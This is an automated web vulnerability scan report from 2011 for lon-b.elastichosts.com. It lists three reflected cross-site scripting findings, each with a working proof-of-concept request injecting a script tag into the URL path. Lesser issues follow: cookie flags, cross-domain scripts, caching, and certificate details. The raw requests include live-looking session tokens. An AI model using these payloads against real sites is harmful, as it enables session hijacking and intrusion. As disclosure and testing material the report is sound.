XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, BHDB, lon-b.eslatichosts.com

Report generated by XSS.CX at Sat Sep 03 20:06:37 GMT-06:00 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |
Loading

1. Cross-site scripting (reflected)

XSS in lon-b.elastichosts.com, XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86

1.1. https://lon-b.elastichosts.com/accounts/trial/ [REST URL parameter 1]

1.2. https://lon-b.elastichosts.com/accounts/trial/ [REST URL parameter 2]

1.3. https://lon-b.elastichosts.com/media/1/favicon.ico [REST URL parameter 1]

2. SSL cookie without secure flag set

3. Cookie without HttpOnly flag set

4. Cross-domain script include

5. Email addresses disclosed

6. Cacheable HTTPS response

6.1. https://lon-b.elastichosts.com/accounts/trial/

6.2. https://lon-b.elastichosts.com/media/1/favicon.ico

7. SSL certificate



1. Cross-site scripting (reflected)  next
There are 3 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. https://lon-b.elastichosts.com/accounts/trial/ [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://lon-b.elastichosts.com
Path:   /accounts/trial/

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload d1ea8<script>alert(1)</script>84fa0fb0a67c5879 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /accountsd1ea8<script>alert(1)</script>84fa0fb0a67c5879/trial/?first_name=&last_name=&email=&phone=&country_menu=lon-b&origin_menu=--&origin=&tandc=on&form=trial_create&trial_wizard-current_step=0 HTTP/1.1
Host: lon-b.elastichosts.com
Connection: keep-alive
Referer: http://www.elastichosts.com/cloud-hosting/free-trial
Cache-Control: max-age=0
Origin: http://www.elastichosts.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=43979258.1871190666.1315100381.1315100381.1315100381.1; __utmb=43979258.3.10.1315100381; __utmc=43979258; __utmz=43979258.1315100381.1.1.utmcsr=google|utmccn=G_USA%20Canada%20search|utmcmd=cpc|utmctr=cloud%20hosting

Response

HTTP/1.1 404 Not Found
Last-Modified: Sun, 04 Sep 2011 02:07:12 GMT
Expires: Sun, 04 Sep 2011 02:07:12 GMT
Content-Type: text/html; charset=utf-8
Vary: Cookie
Cache-Control: max-age=0
Date: Sun, 04 Sep 2011 02:07:12 GMT
Server: lighttpd/1.4.28
Content-Length: 7247

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang
...[SNIP]...
<p>The requested URL /accountsd1ea8<script>alert(1)</script>84fa0fb0a67c5879/trial/ was not found on this server.</p>
...[SNIP]...

1.2. https://lon-b.elastichosts.com/accounts/trial/ [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://lon-b.elastichosts.com
Path:   /accounts/trial/

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 6cf87<script>alert(1)</script>3c02b3b0043b2761e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /accounts/trial6cf87<script>alert(1)</script>3c02b3b0043b2761e/?first_name=&last_name=&email=&phone=&country_menu=lon-b&origin_menu=--&origin=&tandc=on&form=trial_create&trial_wizard-current_step=0 HTTP/1.1
Host: lon-b.elastichosts.com
Connection: keep-alive
Referer: http://www.elastichosts.com/cloud-hosting/free-trial
Cache-Control: max-age=0
Origin: http://www.elastichosts.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=43979258.1871190666.1315100381.1315100381.1315100381.1; __utmb=43979258.3.10.1315100381; __utmc=43979258; __utmz=43979258.1315100381.1.1.utmcsr=google|utmccn=G_USA%20Canada%20search|utmcmd=cpc|utmctr=cloud%20hosting

Response

HTTP/1.1 404 Not Found
Last-Modified: Sun, 04 Sep 2011 02:07:25 GMT
Expires: Sun, 04 Sep 2011 02:07:25 GMT
Content-Type: text/html; charset=utf-8
Vary: Cookie
Cache-Control: max-age=0
Date: Sun, 04 Sep 2011 02:07:25 GMT
Server: lighttpd/1.4.28
Content-Length: 7294

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang
...[SNIP]...
<p>The requested URL /accounts/trial6cf87<script>alert(1)</script>3c02b3b0043b2761e/ was not found on this server.</p>
...[SNIP]...

1.3. https://lon-b.elastichosts.com/media/1/favicon.ico [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://lon-b.elastichosts.com
Path:   /media/1/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload da756<script>alert(1)</script>30db08a5d2b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /da756<script>alert(1)</script>30db08a5d2b/1/favicon.ico HTTP/1.1
Host: lon-b.elastichosts.com
Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=43979258.1871190666.1315100381.1315100381.1315100381.1; __utmb=43979258.3.10.1315100381; __utmc=43979258; __utmz=43979258.1315100381.1.1.utmcsr=google|utmccn=G_USA%20Canada%20search|utmcmd=cpc|utmctr=cloud%20hosting; csrftoken=e3cfdbe1e05352d5b3ef7e83c4a34bcd; sessionid=cb63aed5371da3fa4ec60dfbd6e3c5c4

Response

HTTP/1.1 404 Not Found
Last-Modified: Sun, 04 Sep 2011 02:06:21 GMT
Expires: Sun, 04 Sep 2011 02:06:21 GMT
Content-Type: text/html; charset=utf-8
Vary: Cookie
Cache-Control: max-age=0
Date: Sun, 04 Sep 2011 02:06:21 GMT
Server: lighttpd/1.4.28
Content-Length: 7241

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang
...[SNIP]...
<p>The requested URL /da756<script>alert(1)</script>30db08a5d2b/1/favicon.ico was not found on this server.</p>
...[SNIP]...

2. SSL cookie without secure flag set  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://lon-b.elastichosts.com
Path:   /accounts/trial/

Issue detail

The following cookies were issued by the application and do not have the secure flag set:The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.

Issue remediation

The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.

Request

POST /accounts/trial/ HTTP/1.1
Host: lon-b.elastichosts.com
Connection: keep-alive
Referer: http://www.elastichosts.com/cloud-hosting/free-trial
Content-Length: 133
Cache-Control: max-age=0
Origin: http://www.elastichosts.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=43979258.1871190666.1315100381.1315100381.1315100381.1; __utmb=43979258.3.10.1315100381; __utmc=43979258; __utmz=43979258.1315100381.1.1.utmcsr=google|utmccn=G_USA%20Canada%20search|utmcmd=cpc|utmctr=cloud%20hosting

first_name=&last_name=&email=&phone=&country_menu=lon-b&origin_menu=--&origin=&tandc=on&form=trial_create&trial_wizard-current_step=0

Response

HTTP/1.1 200 OK
Vary: Cookie
Content-Type: text/html; charset=utf-8
Set-Cookie: csrftoken=e3cfdbe1e05352d5b3ef7e83c4a34bcd; expires=Sun, 02-Sep-2012 02:03:42 GMT; Max-Age=31449600; Path=/
Set-Cookie: sessionid=cb63aed5371da3fa4ec60dfbd6e3c5c4; Path=/
Date: Sun, 04 Sep 2011 02:03:42 GMT
Server: lighttpd/1.4.28
Content-Length: 11746

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang
...[SNIP]...

3. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://lon-b.elastichosts.com
Path:   /accounts/trial/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

POST /accounts/trial/ HTTP/1.1
Host: lon-b.elastichosts.com
Connection: keep-alive
Referer: http://www.elastichosts.com/cloud-hosting/free-trial
Content-Length: 133
Cache-Control: max-age=0
Origin: http://www.elastichosts.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=43979258.1871190666.1315100381.1315100381.1315100381.1; __utmb=43979258.3.10.1315100381; __utmc=43979258; __utmz=43979258.1315100381.1.1.utmcsr=google|utmccn=G_USA%20Canada%20search|utmcmd=cpc|utmctr=cloud%20hosting

first_name=&last_name=&email=&phone=&country_menu=lon-b&origin_menu=--&origin=&tandc=on&form=trial_create&trial_wizard-current_step=0

Response

HTTP/1.1 200 OK
Vary: Cookie
Content-Type: text/html; charset=utf-8
Set-Cookie: csrftoken=e3cfdbe1e05352d5b3ef7e83c4a34bcd; expires=Sun, 02-Sep-2012 02:03:42 GMT; Max-Age=31449600; Path=/
Set-Cookie: sessionid=cb63aed5371da3fa4ec60dfbd6e3c5c4; Path=/
Date: Sun, 04 Sep 2011 02:03:42 GMT
Server: lighttpd/1.4.28
Content-Length: 11746

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang
...[SNIP]...

4. Cross-domain script include  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://lon-b.elastichosts.com
Path:   /accounts/trial/

Issue detail

The response dynamically includes the following scripts from other domains:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

POST /accounts/trial/ HTTP/1.1
Host: lon-b.elastichosts.com
Connection: keep-alive
Referer: http://www.elastichosts.com/cloud-hosting/free-trial
Content-Length: 133
Cache-Control: max-age=0
Origin: http://www.elastichosts.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=43979258.1871190666.1315100381.1315100381.1315100381.1; __utmb=43979258.3.10.1315100381; __utmc=43979258; __utmz=43979258.1315100381.1.1.utmcsr=google|utmccn=G_USA%20Canada%20search|utmcmd=cpc|utmctr=cloud%20hosting

first_name=&last_name=&email=&phone=&country_menu=lon-b&origin_menu=--&origin=&tandc=on&form=trial_create&trial_wizard-current_step=0

Response

HTTP/1.1 200 OK
Vary: Cookie
Content-Type: text/html; charset=utf-8
Set-Cookie: csrftoken=e3cfdbe1e05352d5b3ef7e83c4a34bcd; expires=Sun, 02-Sep-2012 02:03:42 GMT; Max-Age=31449600; Path=/
Set-Cookie: sessionid=cb63aed5371da3fa4ec60dfbd6e3c5c4; Path=/
Date: Sun, 04 Sep 2011 02:03:42 GMT
Server: lighttpd/1.4.28
Content-Length: 11746

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang
...[SNIP]...
</script>
<script language='JavaScript' src='https://www.googleadservices.com/pagead/conversion.js'></script>
...[SNIP]...
</script>
<script src="https://checkout.google.com/files/digital/ga_post.js" type="text/javascript">
</script>
...[SNIP]...

5. Email addresses disclosed  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://lon-b.elastichosts.com
Path:   /accounts/trial/

Issue detail

The following email address was disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

POST /accounts/trial/ HTTP/1.1
Host: lon-b.elastichosts.com
Connection: keep-alive
Referer: http://www.elastichosts.com/cloud-hosting/free-trial
Content-Length: 133
Cache-Control: max-age=0
Origin: http://www.elastichosts.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=43979258.1871190666.1315100381.1315100381.1315100381.1; __utmb=43979258.3.10.1315100381; __utmc=43979258; __utmz=43979258.1315100381.1.1.utmcsr=google|utmccn=G_USA%20Canada%20search|utmcmd=cpc|utmctr=cloud%20hosting

first_name=&last_name=&email=&phone=&country_menu=lon-b&origin_menu=--&origin=&tandc=on&form=trial_create&trial_wizard-current_step=0

Response

HTTP/1.1 200 OK
Vary: Cookie
Content-Type: text/html; charset=utf-8
Set-Cookie: csrftoken=e3cfdbe1e05352d5b3ef7e83c4a34bcd; expires=Sun, 02-Sep-2012 02:03:42 GMT; Max-Age=31449600; Path=/
Set-Cookie: sessionid=cb63aed5371da3fa4ec60dfbd6e3c5c4; Path=/
Date: Sun, 04 Sep 2011 02:03:42 GMT
Server: lighttpd/1.4.28
Content-Length: 11746

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang
...[SNIP]...
<a href="mailto:support@elastichosts.com">support@elastichosts.com</a>
...[SNIP]...
<a href="mailto:support@elastichosts.com">
...[SNIP]...

6. Cacheable HTTPS response  previous  next
There are 2 instances of this issue:

Issue description

Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.

Issue remediation

The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:


6.1. https://lon-b.elastichosts.com/accounts/trial/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://lon-b.elastichosts.com
Path:   /accounts/trial/

Request

POST /accounts/trial/ HTTP/1.1
Host: lon-b.elastichosts.com
Connection: keep-alive
Referer: http://www.elastichosts.com/cloud-hosting/free-trial
Content-Length: 133
Cache-Control: max-age=0
Origin: http://www.elastichosts.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=43979258.1871190666.1315100381.1315100381.1315100381.1; __utmb=43979258.3.10.1315100381; __utmc=43979258; __utmz=43979258.1315100381.1.1.utmcsr=google|utmccn=G_USA%20Canada%20search|utmcmd=cpc|utmctr=cloud%20hosting

first_name=&last_name=&email=&phone=&country_menu=lon-b&origin_menu=--&origin=&tandc=on&form=trial_create&trial_wizard-current_step=0

Response

HTTP/1.1 200 OK
Vary: Cookie
Content-Type: text/html; charset=utf-8
Set-Cookie: csrftoken=e3cfdbe1e05352d5b3ef7e83c4a34bcd; expires=Sun, 02-Sep-2012 02:03:42 GMT; Max-Age=31449600; Path=/
Set-Cookie: sessionid=cb63aed5371da3fa4ec60dfbd6e3c5c4; Path=/
Date: Sun, 04 Sep 2011 02:03:42 GMT
Server: lighttpd/1.4.28
Content-Length: 11746

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang
...[SNIP]...

6.2. https://lon-b.elastichosts.com/media/1/favicon.ico  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   https://lon-b.elastichosts.com
Path:   /media/1/favicon.ico

Request

GET /media/1/favicon.ico HTTP/1.1
Host: lon-b.elastichosts.com
Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=43979258.1871190666.1315100381.1315100381.1315100381.1; __utmb=43979258.3.10.1315100381; __utmc=43979258; __utmz=43979258.1315100381.1.1.utmcsr=google|utmccn=G_USA%20Canada%20search|utmcmd=cpc|utmctr=cloud%20hosting; csrftoken=e3cfdbe1e05352d5b3ef7e83c4a34bcd; sessionid=cb63aed5371da3fa4ec60dfbd6e3c5c4

Response

HTTP/1.1 200 OK
Content-Type: application/octet-stream
Accept-Ranges: bytes
ETag: "4083453416"
Last-Modified: Wed, 17 Aug 2011 15:16:33 GMT
Content-Length: 318
Date: Sun, 04 Sep 2011 02:03:51 GMT
Server: lighttpd/1.4.28

..............(.......(....... ...............................f3......................................................................."" ....."" ..... ....... ....... ....... ......."" ....."" .....
...[SNIP]...

7. SSL certificate  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   https://lon-b.elastichosts.com
Path:   /

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:  *.elastichosts.com
Issued by:  GeoTrust SSL CA
Valid from:  Tue Oct 05 21:29:09 GMT-06:00 2010
Valid to:  Wed Dec 07 22:31:06 GMT-06:00 2011

Certificate chain #1

Issued to:  GeoTrust SSL CA
Issued by:  GeoTrust Global CA
Valid from:  Fri Feb 19 16:39:26 GMT-06:00 2010
Valid to:  Tue Feb 18 16:39:26 GMT-06:00 2020

Certificate chain #2

Issued to:  GeoTrust Global CA
Issued by:  GeoTrust Global CA
Valid from:  Mon May 20 22:00:00 GMT-06:00 2002
Valid to:  Fri May 20 22:00:00 GMT-06:00 2022

Issue background

SSL helps to protect the confidentiality and integrity of information in transit between the browser and server, and to provide authentication of the server's identity. To serve this purpose, the server must present an SSL certificate which is valid for the server's hostname, is issued by a trusted authority and is valid for the current date. If any one of these requirements is not met, SSL connections to the server will not provide the full protection for which SSL is designed.

It should be noted that various attacks exist against SSL in general, and in the context of HTTPS web connections. It may be possible for a determined and suitably-positioned attacker to compromise SSL connections without user detection even when a valid SSL certificate is used.

Report generated by XSS.CX at Sat Sep 03 20:06:37 GMT-06:00 2011.